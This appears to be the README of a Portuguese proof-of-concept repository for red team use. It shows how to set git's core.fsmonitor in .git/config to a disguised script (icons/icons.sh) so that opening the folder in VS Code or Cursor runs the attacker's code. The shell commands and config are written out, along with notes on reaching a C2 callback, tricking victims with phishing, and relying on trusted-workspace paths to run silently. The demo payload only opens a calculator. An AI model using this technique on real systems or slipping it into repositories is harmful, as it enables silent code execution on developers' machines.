
Esta é uma prova de trabalho para abusar do 'fsmonitor' contra o IDE.
Este é um problema documentado (conhecido), mas encontrei isso durante minha pesquisa e é bastante útil para RT/PT.
Resumo: O helper FSMonitor é executado pelo git em cada comando como git status, git diff, etc., então o git lançará cegamente qualquer caminho que especificarmos lá. Nossas IDEs executam git status automaticamente no momento em que você abre uma pasta para popular seu painel SCM (Source Control Management);
O que permite que o git execute o helper configurado que executa código controlado pelo atacante. Essa técnica pode ser usada durante RT ou em um cenário de 'assume-breach' com qualquer C2 ou nosso XRayC2 para obter um callback que evade as defesas tradicionais de rede. (Claro, e-mails de phishing são necessários para enganar o usuário final, mas abrir uma pasta na IDE parece uma operação justa).
Prova de conceito: faça git clone deste repositório, adicione a configuração abaixo no diretório .git. Depois, abra a pasta criada com a IDE, uma calculadora deve aparecer. (Testei isso com Code & Cursor). Este POC é específico para macOS, modifique-o conforme seu ambiente.
bash-3.2$ cd git-fsmonitor
bash-3.2$ mkdir .git
bash-3.2$ nano .git/config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
ignorecase = true
precomposeunicode = true
fsmonitor = ./icons/icons.sh
bash-3.2$ chmod +x ./icons/icons.sh
bash-3.2$ git init
bash-3.2$ git config core.fsmonitor ./icons/icons.sh
bash-3.2$ ls git-fsmonitor-main/.git/
.DS_Store config description HEAD hooks/ info/ objects/ refs/
bash-3.2$
Testado no Code
Version: 1.106.0 (Universal)
Commit: ac4cbdf48759c7d8c3eb91ffe6bb04316e263c57
Date: 2025-11-11T16:02:25.943Z
Electron: 37.7.0
ElectronBuildId: 12597478
Chromium: 138.0.7204.251
Node.js: 22.20.0
V8: 13.8.258.32-electron.0
OS: Darwin x64 25.1.0
https://github.com/user-attachments/assets/4702aadc-f12d-4380-bc6f-bcd564ddcf96
Isso funciona porque inicializamos o repositório e depois adicionamos core.fsmonitor a um arquivo (que pode ser um payload). Portanto, abrir uma pasta é suficiente para executar seu código. A "maioria" dos desenvolvedores/usuários tem ~/Downloads (e pastas de nível superior similares) em seu espaço de trabalho confiável, então o PoC é executado silenciosamente; mas se um repositório estiver fora desses caminhos confiáveis, a IDE perguntará “confiar neste editor?” antes de ler .git/config.